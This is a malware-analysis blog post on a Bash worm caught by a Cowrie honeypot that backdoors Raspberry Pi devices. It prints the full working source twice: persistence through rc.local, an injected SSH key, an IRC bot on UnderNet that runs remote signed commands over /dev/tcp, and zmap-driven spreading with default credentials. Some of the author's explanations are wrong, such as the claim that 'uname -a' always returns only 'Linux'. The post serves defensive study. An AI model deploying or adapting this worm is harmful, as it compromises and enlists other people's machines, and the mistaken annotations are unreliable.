While dissecting binaries using Ghidra, Strings, and Hexdump makes for a fun puzzle in itself, it’s also fascinating to inspect the raw source code of malware. Cowrie, a Telnet and SSH honeypot with emulates a Unix environment packaged within T-Pot, captured quite the interesting Bash script, which includes a variety of malicious elements specifically designed for the Raspberry Pi platform.
Information
Purpose: installation of TCP backdoor on Linux; accepts commands via IRC channel #biret
.
Indicators of Compromise
- MD5:
182be4e7136619107ae4c41601d43118
- SHA-1:
b06060d90decfa5bb90f379a17f34699fae7ad6f
- SHA-256:
7d031312baf7d28ccb1bbf7598c368f29b33c88e650e22e115d02b308f0b6491
- Connected domains:
ix1.undernet.org
ix2.undernet.org
Ashburn.Va.Us.UnderNet.org
Bucharest.RO.EU.Undernet.Org
Budapest.HU.EU.UnderNet.org
Chicago.IL.US.Undernet.org
bins.deutschland-zahlung.eu
- Unexpected TCP connections on port
6667
- Entry for
XXXXXXXX
, whereX
represents any ASCII char, in/opt
or in/etc/rc.local
- Public key matching the following:
- SSH:
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D6s4J0L7XV2kep0rNzgY1S1IdE8HDef7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B
- SSL:
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC/ihTe2DLmG9huBi9DsCJ90MJs glv7y530TWw2UqNtKjPPA1QXvNsWdiLpTzyvk8mv6ObWBF8hHzvyhJGCadl0v3HW rXneU1DK+7iLRnkI4PRYYbdfwp92nRza00JUR7P4pghG5SnRK+R/579vIiy+1oAF WRq+Z8HYMvPlgSRA3wIDAQAB
- SSH:
- Unexpected password change on local user account
pi
- Unexpected installaton of packages
zmap
,sshpass
- Proccess running from
/tmp
usingnohup
File
- Magic: plain ASCII
- Language: Bash
- Size: 4.65 KB
Source Code
1C0755 4745 nC9qy0wv
2#!/bin/bash
3
4MYSELF=`realpath $0`
5DEBUG=/dev/null
6echo $MYSELF >> $DEBUG
7
8if [ "$EUID" -ne 0 ]
9then
10 NEWMYSELF=`mktemp -u 'XXXXXXXX'`
11 sudo cp $MYSELF /opt/$NEWMYSELF
12 sudo sh -c "echo '#!/bin/sh -e' > /etc/rc.local"
13 sudo sh -c "echo /opt/$NEWMYSELF >> /etc/rc.local"
14 sudo sh -c "echo 'exit 0' >> /etc/rc.local"
15 sleep 1
16 sudo reboot
17else
18TMP1=`mktemp`
19echo $TMP1 >> $DEBUG
20
21killall bins.sh
22killall minerd
23killall node
24killall nodejs
25killall ktx-armv4l
26killall ktx-i586
27killall ktx-m68k
28killall ktx-mips
29killall ktx-mipsel
30killall ktx-powerpc
31killall ktx-sh4
32killall ktx-sparc
33killall arm5
34killall zmap
35killall kaiten
36killall perl
37
38echo "127.0.0.1 bins.deutschland-zahlung.eu" >> /etc/hosts
39rm -rf /root/.bashrc
40rm -rf /home/pi/.bashrc
41
42usermod -p \$6\$vGkGPKUr\$heqvOhUzvbQ66Nb0JGCijh/81sG1WACcZgzPn8A0Wn58hHXWqy5yOgTlYJEbOjhkHD0MRsAkfJgjU/ioCYDeR1 pi
43
44mkdir -p /root/.ssh
45echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D6s4J0L7XV2kep0rNzgY1S1IdE8HDef7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B" >> /root/.ssh/authorized_keys
46
47echo "nameserver 8.8.8.8" >> /etc/resolv.conf
48rm -rf /tmp/ktx*
49rm -rf /tmp/cpuminer-multi
50rm -rf /var/tmp/kaiten
51
52cat > /tmp/public.pem <<EOFMARKER
53-----BEGIN PUBLIC KEY-----
54MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC/ihTe2DLmG9huBi9DsCJ90MJs
55glv7y530TWw2UqNtKjPPA1QXvNsWdiLpTzyvk8mv6ObWBF8hHzvyhJGCadl0v3HW
56rXneU1DK+7iLRnkI4PRYYbdfwp92nRza00JUR7P4pghG5SnRK+R/579vIiy+1oAF
57WRq+Z8HYMvPlgSRA3wIDAQAB
58-----END PUBLIC KEY-----
59EOFMARKER
60
61BOT=`mktemp -u 'XXXXXXXX'`
62
63cat > /tmp/$BOT <<'EOFMARKER'
64#!/bin/bash
65
66SYS=`uname -a | md5sum | awk -F' ' '{print $1}'`
67NICK=a${SYS:24}
68while [ true ]; do
69
70 arr[0]="ix1.undernet.org"
71 arr[1]="ix2.undernet.org"
72 arr[2]="Ashburn.Va.Us.UnderNet.org"
73 arr[3]="Bucharest.RO.EU.Undernet.Org"
74 arr[4]="Budapest.HU.EU.UnderNet.org"
75 arr[5]="Chicago.IL.US.Undernet.org"
76 rand=$[$RANDOM % 6]
77 svr=${arr[$rand]}
78
79 eval 'exec 3<>/dev/tcp/$svr/6667;'
80 if [[ ! "$?" -eq 0 ]] ; then
81 continue
82 fi
83
84 echo $NICK
85
86 eval 'printf "NICK $NICK\r\n" >&3;'
87 if [[ ! "$?" -eq 0 ]] ; then
88 continue
89 fi
90 eval 'printf "USER user 8 * :IRC hi\r\n" >&3;'
91 if [[ ! "$?" -eq 0 ]] ; then
92 continue
93 fi
94
95 # Main loop
96 while [ true ]; do
97 eval "read msg_in <&3;"
98
99 if [[ ! "$?" -eq 0 ]] ; then
100 break
101 fi
102
103 if [[ "$msg_in" =~ "PING" ]] ; then
104 printf "PONG %s\n" "${msg_in:5}";
105 eval 'printf "PONG %s\r\n" "${msg_in:5}" >&3;'
106 if [[ ! "$?" -eq 0 ]] ; then
107 break
108 fi
109 sleep 1
110 eval 'printf "JOIN #biret\r\n" >&3;'
111 if [[ ! "$?" -eq 0 ]] ; then
112 break
113 fi
114 elif [[ "$msg_in" =~ "PRIVMSG" ]] ; then
115 privmsg_h=$(echo $msg_in| cut -d':' -f 3)
116 privmsg_data=$(echo $msg_in| cut -d':' -f 4)
117 privmsg_nick=$(echo $msg_in| cut -d':' -f 2 | cut -d'!' -f 1)
118
119 hash=`echo $privmsg_data | base64 -d -i | md5sum | awk -F' ' '{print $1}'`
120 sign=`echo $privmsg_h | base64 -d -i | openssl rsautl -verify -inkey /tmp/public.pem -pubin`
121
122 if [[ "$sign" == "$hash" ]] ; then
123 CMD=`echo $privmsg_data | base64 -d -i`
124 RES=`bash -c "$CMD" | base64 -w 0`
125 eval 'printf "PRIVMSG $privmsg_nick :$RES\r\n" >&3;'
126 if [[ ! "$?" -eq 0 ]] ; then
127 break
128 fi
129 fi
130 fi
131 done
132done
133EOFMARKER
134
135chmod +x /tmp/$BOT
136nohup /tmp/$BOT 2>&1 > /tmp/bot.log &
137rm /tmp/nohup.log -rf
138rm -rf nohup.out
139sleep 3
140rm -rf /tmp/$BOT
141
142NAME=`mktemp -u 'XXXXXXXX'`
143
144date > /tmp/.s
145
146apt-get update -y --force-yes
147apt-get install zmap sshpass -y --force-yes
148
149while [ true ]; do
150 FILE=`mktemp`
151 zmap -p 22 -o $FILE -n 100000
152 killall ssh scp
153 for IP in `cat $FILE`
154 do
155 sshpass -praspberry scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME && echo $IP >> /opt/.r && sshpass -praspberry ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &
156 sshpass -praspberryraspberry993311 scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME && echo $IP >> /opt/.r && sshpass -praspberryraspberry993311 ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &
157 done
158 rm -rf $FILE
159 sleep 10
160done
161
162fi
Annotated Breakdown
Okay — there is a lot to unpack here. Let’s proceed chronologically down the length of the script.
Head
1MYSELF=`realpath $0` # Find my location
2DEBUG=/dev/null
3echo $MYSELF >> $DEBUG
realpath
is part of the GNU coreutils; it resolves the location of an entity in the filesystem while resolving all references and links. The functionality of pwd
, in most cases, may be thought of as a subset of realpath
in that respect. The above code is used to determine where the script itself resides upon execution.
Privilege Escalation
1if [ "$EUID" -ne 0 ] # If not running as root (or under sudo/doas)
2then
3 NEWMYSELF=`mktemp -u 'XXXXXXXX'` # Generate a pseudorandom string 8 chars long
4 sudo cp $MYSELF /opt/$NEWMYSELF # Copy this script to /opt with the name geenrated above
5 sudo sh -c "echo '#!/bin/sh -e' > /etc/rc.local" # Start sh on boot...
6 sudo sh -c "echo /opt/$NEWMYSELF >> /etc/rc.local" # ...So that this script can also be executed on boot
7 sudo sh -c "echo 'exit 0' >> /etc/rc.local" # Stop whatever else may come afterwards
8 sleep 1
9 sudo reboot #Reboot so that the script may take effect *running as ROOT*
10else
11TMP1=`mktemp`
12echo $TMP1 >> $DEBUG
This is a fantastic example of simple privilege escalation! The EUID is first checked — an EUID of zero indicates that the current privilege level is root, by way of actually running as the root account or elevation via sudo
or doas
. Not running as root presents issues for this script; the following steps are executed if so:
- Generate a random string with mktemp.
- Copy the script to /opt using the generated string as the filename.
- Append sh (shell) and the script to
/etc/rc.local
, which will be executed on boot as root, thereby running the script as root. - Reboot.
Quite creative.
Killing Processes
1killall bins.sh
2killall minerd
3killall node
4killall nodejs
5killall ktx-armv4l
6killall ktx-i586
7killall ktx-m68k
8killall ktx-mips
9killall ktx-mipsel
10killall ktx-powerpc
11killall ktx-sh4
12killall ktx-sparc
13killall arm5
14killall zmap
15killall kaiten
16killall perl
The script then kills the processes shown above. zmap
, a network scanner, seems reasonable to stop (with malicious intent), but I’m not sure why the attacker chose to stop the others, which are oddly specific. Perhaps to save resources?
Cleaning Bash Profiles; Changing Account Password
1echo "127.0.0.1 bins.deutschland-zahlung.eu" >> /etc/hosts # Classic malicious domain
2rm -rf /root/.bashrc # Clearing Bash customization from the root account
3rm -rf /home/pi/.bashrc # Clearing Bash customization from the... pi account? Raspberry Pi?
4
5# Changing the password of the pi account (encrypted)
6usermod -p \$6\$vGkGPKUr\$heqvOhUzvbQ66Nb0JGCijh/81sG1WACcZgzPn8A0Wn58hHXWqy5yOgTlYJEbOjhkHD0MRsAkfJgjU/ioCYDeR1 pi
This section provides some much-needed insight: the assumption of the pi
account implies that this script must be designed for use on Raspberry Pi devices! This may also explain killing the processes above — Node, for example, is a common application run on Rasberry Pi computers for development work.
Injecting SSH key
1mkdir -p /root/.ssh
2echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D6s4J0L7XV2kep0rNzgY1S1IdE8HDef7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B" >> /root/.ssh/authorized_keys
Here’s another interesting section — the script appends the public SSH key of the attacker to provide for remote access! Let this serve as a reminder to always audit authorized_keys
. Google, for example, prevents this attack from occurring on their Cloud Compute VMs by running a service that periodically resets authorized_keys
to a version that only includes keys explicitly defined in the VM metadata.
Removing Malware?
1echo "nameserver 8.8.8.8" >> /etc/resolv.conf
2rm -rf /tmp/ktx*
3rm -rf /tmp/cpuminer-multi
4rm -rf /var/tmp/kaiten
As far as I can tell, the directories removed in the code above belong to (potentially malicious) crypto miners. Therefore, it seems that this malware is cleaning up the processes of other malware. How kind of the script author.
The DNS entry ensures connectivity to the attacker by using a common host (Google). This malware otherwise would might not function on networks such as my own, as I run a personal DNS server with many malicious and otherwise undesired domains blocked.
Storing a Public Key
1cat > /tmp/public.pem <<EOFMARKER
2-----BEGIN PUBLIC KEY-----
3MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC/ihTe2DLmG9huBi9DsCJ90MJs
4glv7y530TWw2UqNtKjPPA1QXvNsWdiLpTzyvk8mv6ObWBF8hHzvyhJGCadl0v3HW
5rXneU1DK+7iLRnkI4PRYYbdfwp92nRza00JUR7P4pghG5SnRK+R/579vIiy+1oAF
6WRq+Z8HYMvPlgSRA3wIDAQAB
7-----END PUBLIC KEY-----
8EOFMARKER
A public key is then placed within /tmp/public.pem
, presumably to allow for simple remote access by another service (?).
Embedded IRC Script
So far, a lot of preliminary steps have been taken to prepare the target environment for attack. It is here, within an infinite while
loop, that the attack finally occurs.
Head
1BOT=`mktemp -u 'XXXXXXXX'` # Generates another pseudorandom string for the file name below
2
3cat > /tmp/$BOT <<'EOFMARKER'
4#!/bin/bash
5...
Setting a system name
1...
2
3SYS=`uname -a | md5sum | awk -F' ' '{print $1}'` # Gets a hash of the system name
4NICK=a${SYS:24} # Sets a nickname
5...
Frankly, this section strikes me as dumb misguided (kindly pass on my most sincere apologies to the script author). Here is why: except for a few edge cases, the vast majority of Raspberry Pi devices run Linux. On Linux, uname -a
always returns the same string:
1$ uname -a
2Linux
So, the SYS
variable assignment command does the following:
- Execute
uname -a
, which will almost always return the same “Linux” string. - Pipe “Linux” into
md5sum
, which will always return the “638dd9cda411c1f92e831eeb14780a67”.
Since the hash is the same every time, NICK=a${SYS:24}
will set the nickname variable to the string “a14780a67” at least 99 percent of the time. So, what is the point of setting a nickname to the same string on every target device? I’m not sure — for that, we would have to tap into the infinite wisdom of the script author.
Mapping IRC Servers
1...
2while [ true ]; do
3
4 # Servers
5 arr[0]="ix1.undernet.org"
6 arr[1]="ix2.undernet.org"
7 arr[2]="Ashburn.Va.Us.UnderNet.org"
8 arr[3]="Bucharest.RO.EU.Undernet.Org"
9 arr[4]="Budapest.HU.EU.UnderNet.org"
10 arr[5]="Chicago.IL.US.Undernet.org"
11
12 # Chooses a pseudorandom server
13 rand=$[$RANDOM % 6]
14 svr=${arr[$rand]}
15
16 # Check if an established TCP connection exists between host and server
17 eval 'exec 3<>/dev/tcp/$svr/6667;' # Also, set new FD (3)
18 if [[ ! "$?" -eq 0 ]] ; then
19 continue # Skip back to the top of the loop if a connection already exists
20 # NO `sleep` statement here... will check endlessly as fast as possible; silly
21 fi
22 ...
It appears that this bot uses the UnderNet IRC system to establish connections with. Let’s take a look at UnderNet— perhaps we can find IRC channels (specifically #biret
) related to this malware. For reference, #biret
is the channel that this script initiates connections to.
Sigh. IRC… A relic that is perhaps best forgotten in some aspects. Two other users, which I have deliberately not shown here, are active at the time of writing this post in #biret
. In fact, one of the active users has the name of a compromised target device!
Main Logic
1...
2 echo $NICK
3
4 eval 'printf "NICK $NICK\r\n" >&3;'
5 if [[ ! "$?" -eq 0 ]] ; then
6 continue
7 fi
8 eval 'printf "USER user 8 * :IRC hi\r\n" >&3;'
9 if [[ ! "$?" -eq 0 ]] ; then
10 continue
11 fi
12
13 # Main loop
14 while [ true ]; do
15 eval "read msg_in <&3;" // Examine the contents of msg_in recieved from the TCP host-IRC connection
16
17 # If msg_in is null, quit the main loop
18 if [[ ! "$?" -eq 0 ]] ; then
19 break
20 fi
21
22 # On IRC in = 'PING', respond 'PONG' via IRC
23 # Presumably to test connectivity?
24 if [[ "$msg_in" =~ "PING" ]] ; then
25 printf "PONG %s\n" "${msg_in:5}";
26 eval 'printf "PONG %s\r\n" "${msg_in:5}" >&3;'
27 if [[ ! "$?" -eq 0 ]] ; then
28 break
29 fi
30 sleep 1
31
32 // If msg_in is null, quit the main loop
33 eval 'printf "JOIN #biret\r\n" >&3;'
34 if [[ ! "$?" -eq 0 ]] ; then
35 break
36 fi
37
38 # `=~` is a bash regex operator which searches for 'PRIVMSG' within $msg_in
39 # So, if 'PRIVMSG' is somewhere within $msg_in, continue
40 elif [[ "$msg_in" =~ "PRIVMSG" ]] ; then
41
42 # Cut $msg_in, extracting the relevant elements:
43 # - A section to be hashed
44 # - A data section containing instructions
45 # - The IRC nickname of the host
46 privmsg_h=$(echo $msg_in| cut -d':' -f 3)
47 privmsg_data=$(echo $msg_in| cut -d':' -f 4)
48 privmsg_nick=$(echo $msg_in| cut -d':' -f 2 | cut -d'!' -f 1)
49
50 # Get an MD5 hash of the data from $msg_in
51 # Use $privmsg_h to sign the public key generated earlier
52 # Use: Ensure attacks come from the original attacker
53 hash=`echo $privmsg_data | base64 -d -i | md5sum | awk -F' ' '{print $1}'`
54 sign=`echo $privmsg_h | base64 -d -i | openssl rsautl -verify -inkey /tmp/public.pem -pubin`
55
56 # If the sign is genuine (signed with the attackers public key)
57 if [[ "$sign" == "$hash" ]] ; then
58 CMD=`echo $privmsg_data | base64 -d -i` // Then grab the command to execute
59 RES=`bash -c "$CMD" | base64 -w 0`
60 eval 'printf "PRIVMSG $privmsg_nick :$RES\r\n" >&3;' // Echo command back to attacker?
61
62 # If msg_in is null, quit the main loop
63 if [[ ! "$?" -eq 0 ]] ; then
64 break
65 fi
66 fi
67 fi
68 done
69done
70EOFMARKER
71...
The main execution loop has several interesting elements. Essentially, the attacker establishes communication with the victim host via IRC and signs their attacks to ensure no other malicious actor can take advantage of the exploit. Very creative — this is likely also why no commands I sent to victim hosts in #biret
responded to requests.
1...
2chmod +x /tmp/$BOT # Makes script executable so that it can run on other systems
3nohup /tmp/$BOT 2>&1 > /tmp/bot.log & # Ensures that the script is not stopped upon user logoff or any other hang events
4
5# Clean traces
6rm /tmp/nohup.log -rf
7rm -rf nohup.out
8sleep 3
9rm -rf /tmp/$BOT
10
11# Generate a new name
12NAME=`mktemp -u 'XXXXXXXX'`
13
14date > /tmp/.s
15
16# Install:
17# - ZMap: a network scanner
18# - sshpass: a utility that allows for keyboard-interactive SSH sessions in non-interactive (automated) sessions
19apt-get update -y --force-yes
20apt-get install zmap sshpass -y --force-yes
21
22# SPREAD LOOP
23while [ true ]; do
24 FILE=`mktemp`
25
26 # Collect all IPs with port 22 open
27 zmap -p 22 -o $FILE -n 100000
28 killall ssh scp
29 for IP in `cat $FILE`
30
31 # For each IP with 22 open, attempt to log in awith the credential set pi:praspberry
32 # If a connection succeeds:
33 # SPREAD AND EXECUTE THE SCRIPT
34 do
35 sshpass -praspberry scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME && echo $IP >> /opt/.r && sshpass -praspberry ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &
36 sshpass -praspberryraspberry993311 scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME && echo $IP >> /opt/.r && sshpass -praspberryraspberry993311 ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &
37 done
38 rm -rf $FILE // Clean traces
39 sleep 10
40done
41
42fi
And here we have the finale: as with so many other malicious binaries, it attempts to spread where it can, trying to infect any unsecured Raspberry Pi on the local network. For a user with many new Raspberry Pis, I imagine this attack would prove very effective, netting many hosts.
Conclusion
This was certainly an interesting script to behold. From the methodology employed by the attacker to control remote machines to the attack signing, it is evident that significant thought went into the development of this script. I would love the opportunity to anonymously interview the attacker… How many hosts were infected? Were infected hosts primarily useless, residential hobby computers? Was it possible to pivot from infected Raspberry pis to more important targets? Abstracting the unethicality of the development of malware, the creativity demonstrated here is remarkable and has made for quite an engaging learning experience.
Note: I do not condone the development or distribution of malware outside of educational contexts.
What should I do if I find this script on my Raspberry Pi?
Immediately disconnect the device from the network and eject the storage medium. Mount it on an external device, back up any needed data, and then wipe all data. Reinstall the OS as normal. Do not attempt to manually remove the malware, as there is no reliable record of extra steps the attacker may have taken.
What can we learn from this attack?
Always, always, always secure services and minimize service visibility on the Internet. This attack would not function without the ability to deposit itself onto a host. Further, change default passwords for every account and service, even those not used. This script takes advantage of negligence in that regard, searching for hosts with the default Rasberry Pi credentials to pivot to.
Stay safe online, and thank you so much for reading.